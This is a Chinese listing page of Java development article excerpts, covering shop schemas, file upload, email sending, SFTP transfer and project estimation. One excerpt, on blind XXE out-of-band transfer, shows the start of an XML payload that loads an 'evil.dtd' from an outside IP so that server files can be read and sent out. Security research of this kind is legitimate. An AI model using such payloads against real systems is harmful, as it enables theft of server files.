Java软件开发经验总结
立项 一、需求的收集,UC的编写虽然不是开发人员的工作,但最终需要开发人员在产品中实现。所以开发不合理的设计至少浪费了你的时间,开发技术无法实现的设计带来最大的痛苦:失败。所以,开发人员要重视需求以及UC的评审,提出自己能够想到的所有异议。 二、一栋楼很难估算重量...
2024-01-10javaweb实战之商城项目开发(一)
一.项目功能结构1.功能2.实体3.对应sql语句CREATE DATABASE shop;use shop;create table user( id int(11) primary key auto_increment, username varchar(100), password varchar(100), nickname varchar(100), type int(5));INSERT INTO user VALUES (null,'admin','7946521','管理员',1);CREA...
2024-01-10【java开发系列】—— 深克隆和浅克隆
Java支持我们对一个对象进行克隆,通常用在装饰模式和原型模式中。那么什么是深克隆,什么是浅克隆呢。 【浅克隆】,通常只是对克隆的实例进行复制,但里面的其他子对象,都是共用的。 【深克隆】,克隆的时候会复制它的子对象的引用,里面所有的变量和子对象都是又额外拷贝了...
2024-01-10java实现响应重定向发送post请求操作示例
本文实例讲述了java实现响应重定向发送post请求操作。分享给大家供大家参考,具体如下:关于重定向我们用的比较多的还是redirect:重定向,默认发送的get请求。return "redirect:/index";但有时候请求地址必须为post请求,比如security登录就只能接收post请求,下面来看一下如何后台如何发送post请求响应...
2024-01-10Java因项目配置不当而引发的数据泄露
目录数据泄露缘由数据库密码加密配置数据库连接池生成RSA密钥对密码进行加密编写解析数据库密码的类写在最后大家好,我是冰河~~最近,有位读者私信我说,他们公司的项目中配置的数据库密码没有加密,编译打包后的项目被人反编译了,从项目中成功获取到数据库的账号和密码,进一步登录数据...
2024-01-10JavaWeb文件上传开发实例
文件上传有SmartUpload、Apache的Commons fileupload.我们今天介绍Commons fileupload的用法。 1.commons-fileupload-1.3.1.jar下载地址:http://xiazai./201608/yuanma/javawebfileupload().rar2.web.xml<!-- 上传文件 服务器端 --> <servlet> <servlet-name>UploadServlet</servlet-name> <servlet-class>c...
2024-01-10关于java后端与vue-cli 项目开发项目实际例子
1、项目介绍:前段vue 采用脚手架进行开发(本人后端不太懂vue的原理什么路由什么的),后端java springmvc mybatis 采用跨域模式,所以前段axios请求方式都是“http://ip:端口号/项目名/接口“ 的形式进行交互。其中存在的问题暂时没发现,必定有弊端之处,还请前辈多指点。2、环境和配置这些不细说,简...
2024-01-10java发送email一般步骤(实例讲解)
java发送email一般步骤一、引入javamail的jar包:二、创建一个测试类,实现将要发送的邮件内容写入到计算机本地,查看是否能够将内容写入:public static void main(String[] args) throws Exception { // 1. 创建一封邮件 Properties props = new Properties(); // 用于连接邮件服务器的参数配置(发送邮件时才需要用...
2024-01-10Java遍历文件夹及子目录代码实例
主要逻辑使用scanner类获取输入的目录,并创建文件对象。新建一个遍历文件夹的方法,参数是已创建的文件对象,递归调用自己。import java.io.File;public class BianLi{ public static void huoQuMuLu(File a) { File[] fd = a.listFiles(); //获取目录数组 for(int i=0;i<fd.length;i++){ //将文件对象数组转换为字符数组,...
2024-01-10java开发之闹钟的实现代码
项目结构:效果图一:效果图二:效果图三:关于闹钟:==========================================================/Alarm/src/com/b510/main/AlarmMain.java 代码如下:package com.b510.main; import com.b510.ui.main.MyAlarm; /** * * @author Hongten */ public class AlarmMain { public stati...
2024-01-10【Java】JUC-引例(小黄人抢香蕉引发的思考)
基础概念线程&进程并发&并行线程&进程官方一般是这样定义的:线程(thread)是操作系统能够进行运算调度的最小单位,它被包含在进程之中,是进程中的实际运作单位。说人话,直接上图.我们打开电脑管家就是一个**进程**。而点击杀毒功能运行就是开启了一个**线程**。不必繁琐,关键明白一个进...
2024-01-10软件开发为什么比较难?
问题的分类最初在1999年被Dave Snowden开发出来的 Cynefin 框架尝试把世界上的问题划分到了5个域中(大类):简单(Simple)问题,该域中的因果关系非常明显,解决这些问题的方法是 感知-分类-响应(Sense-Categorise-Respond),有对应的最佳实践复合(Complicated)问题,该域中的因果关系需要分析,...
2024-01-10软件开发如何报价?
软件开发接单如何报价?求一份报价单模板。网上都是动则几十块收费下载的、关键都还是不能用、乱七八糟的模板回答:一般来说偶尔接单的话,就是按照功能拆分再评估不同的模块需要多久的工期,最终计算出来的工时会乘上 1.5 ~ 2 的系数,按照不同的复杂度和所用技术栈熟练度,因为会有很多意料之外的情况发生,预估都是很理想化的,多宽容一些工期对于你来说是十分重要的。工时单价就是按照你时薪的 1.5 ~ 3 倍...
2024-02-15《软件架构基础》软件开发模型
兼顾了快速原型的迭代的特征以及瀑布模型的系统化与严格监控引入风险分析喷泉模型一种以用户需求为动力,以对象为驱动的模型,主要用于描述面向对象的软件开发过程认为软件开发过程自下而上周期的各阶段是*相互迭代和无间隙**的特性喷泉模型不像瀑布模型那样,需要分析活动结束后...
2024-01-10不要做软件开发团队里打破窗户的那个人
从前有个程序员,叫阿星,在小公司工作了2,3年,经过了好多轮技术面试的奋战,终于成功加入了Banana公司,是一个很有名的技术大厂。阿星加入的部门是一个负责公司支付业务的中台团队。打杂期阿星在Banana公司的前几个月,主要做一些零散的小需求,一直没机会上手一些核心系统的开发,不过...
2024-01-10直播软件开发的关键环节
一直以来,直播平台制作都是初入直播行业的创业者关心的问题。如果说在直播平台刚刚诞生的那几年,各项直播开发技术和服务还没那么完善,定制开发直播平台的成本也比较高。但是近年来随着国内很多云厂商都涉足互动视频直播服务,市场上的直播软件源码功能也越来越完善,不管采用哪种方式...
2024-01-10高性能多级多选级联组件开发
高性能多级多选级联组件开发效果预览单个项选中多个部分项选中需求分析在拿到需求之后,我们首先要做的是需求分析;通过上面的效果预览我们可以初步知道我们所需要处理的核心逻辑:默认加载第一层级数据鼠标 hover异步获取数据切换下级渲染数据鼠标点击点击当前项状态改变:...
2024-01-10软件项目开发报价指南
公司一直以来都在接新开发的,定制化的解决方案开发项目,在和客户取得了互信以后,首先会遇到的问题就是:多少钱?报个价吧。往往,我们的销售经理就蔫吧了,具体研发需要多少钱?我得去问问项目经理,那项目经理又是如何预估研发费用呢? 公司近期有好几个人都在问我这个问题,以下...
2024-01-10最适合Java开发者的一本书和一软件
一书-《Java编程思想》一软件-IntelliJ IDEAJava自学是否可以成功,答案显而易见,可以。自学Java关键看自己是否有毅力、是否有恒心。自学Java自学Java不是把自己封闭在屋子里闭门造车,自学Java包括一个核心的部分就是自我目标实现能力。自学流程自学最重要的是心态和毅力,如果毅力不够坚定自学...
2024-01-10软件开发的核心是什么?
「我们一直这样做开发,时间做久了,便忘了当初的本意。」有关软件系统开发,我们谈些什么?我们谈过程,编码规范、开发流程、同行评审、结对编程、持续集成,从瀑布到敏捷再到极限编程。我们谈架构,企业级、J2EE、容器化、SOA(面向服务架构)、Microservices(微服务化)。我们谈规...
2024-01-10软件开发的架构演变
前面通过四篇文章,把什么是架构,如何做好架构等必要的概念澄清了一下。这些概念对于在各种不同的领域都应该也是有用的,需要读者自行思考,并应用到自己所在的领域中。在这篇文章开始,我们用同样的思考,来看看软件是怎么回事,以及如何运用架构思维,更好的设计和实现软件。冯诺依...
2024-01-10Java把一个文件,输出成多个文件
前言:我有一个出租车轨迹的txt文本,其中包括多条轨迹。我想把这个文本按照单条轨迹输出出来,每条轨迹放在一个txt文本中。思路:重要问题就集中在,如何动态的指定输出文件的名字。我想到了StringBuilder,StringBuilder可以拼接字符串,我可以动态改变,代表输出路径的字符(我这里通过循环一个...
2024-01-10JavaWeb实现文件上传与下载实例详解
在Web应用程序开发中,文件上传与下载功能是非常常用的功能,下面通过本文给大家介绍JavaWeb实现文件上传与下载实例详解。对于文件上传,浏览器在上传的过程中是将文件以流的形式提交到服务器端的,如果直接使用Servlet获取上传文件的输入流然后再解析里面的请求参数是比较麻烦,所以一般选...
2024-01-10如何用Java语言实现两台计算机之间的文件传输?
最近新学习了Java语言,算是一个小白,想用TCP Socket进行网络编程,使得服务器端接受客户端的文件,但是遇到了一个错误,有人知道该怎么解决吗?//这是服务器端的代码public class UploadServer {public static void main(String[] args) {System.out.println("服务器端运行...");try {//创建一个ServerSocket监听8080端口的客户...
2024-01-10java的xxe无回显的带外传输
xxe无回显的情况下,正常的读取无特殊符号文件的时候可以只用常规的file协议来进行读取参考文章:https://www.leadroyal.cn/?p=914参考文章:https://www.t00ls.net/viewthread.php?tid=55662比如payload:<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE ANY [<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd"> %...
2024-01-10两个局域网内的电脑互传文件使用 java 开发,都有哪些方法,最推荐使用哪种
局域网甲中的电脑A,想要传递文件到局域网乙的B电脑,使用 java 开发都有哪些方法可以实现,最推荐使用哪种。感谢指点迷津回答:使用HTTP协议、或者TCP协议都可以,甚至UDP也行。HTTP协议的话相对简单Java程序内嵌一个嵌入式Jetty做服务器就可以了,由对方程序来下载,可以在响应头中加上文件的MD5,方便对方下载后校验文件正确性。TCP协议的话可以使用TCP短连接(即建立一次连接只用于...
2024-03-05【java】的传值方式
【java】的传值方式当你问大多数程序员Java是传值还是传引用的时候,你可能会得到两种答案之一:(1)Java传递原始类型数据时使用的是传值方式;传递对象时则使用传引用方式;String类型的数据采用的是传值方式,因为字符串是不可变的。(2)Java传递所有参数都使用传值方式。只有第二个答案是...
2024-01-10java poi操作创建xslx或xsl文件,存本地和进行网络传输两种方式集成
1 package com.java.zxf.util; 2 3 import java.io.IOException; 4 import java.io.OutputStream; 5 import java.net.URLEncoder; 6 import java.util.List; 7 import javax.servlet.http.HttpServletResponse; 8 import org.apache.poi.hssf.usermodel.HSSFCell; 9 import ...
2024-01-10如何使用Java SFTP库JSch将文件从一个目录传输到另一个目录?
我需要使用JSch库对文件传输进行编程。我有一个包含两个文件夹的简单目录在SFTP_1文件夹中,我有一个位图图像。该SFTP_2文件夹只是一个空文件夹。我的目标是使用SFTP将图像从SFTP_1传输到SFTP_2。到目前为止,这是我的代码:import com.jcraft.jsch.*;import java.awt.Desktop;import java.nio.channels.Channel;public class...
2024-01-10Java8流文件,如何控制文件的关闭?
假设我有一个Java8 Stream<FileReader>,并且使用了该流map,那么如何控制FileReader流中使用的s 的关闭?请注意,我可能无权访问个人FileReader,例如:filenames.map(File::new) .filter(File::exists) .map(f->{ BufferedReader br = null; try { br = new BufferedReader(new FileReader(f...
2024-01-10如何在Java中通过SFTP传输文件?
PS:这是要求SFTP客户端。这个问题不是其他两个问题的重复。找到以下链接以实现SFTP。https://codetransient.wordpress.com/2019/06/22/sftp-secured-file-transfer-protocol/回答:试试这个代码。public void send (String fileName) { String SFTPHOST = "host:IP"; int SFTPPORT = 22; String SFTPUSER = "usern...
2024-01-10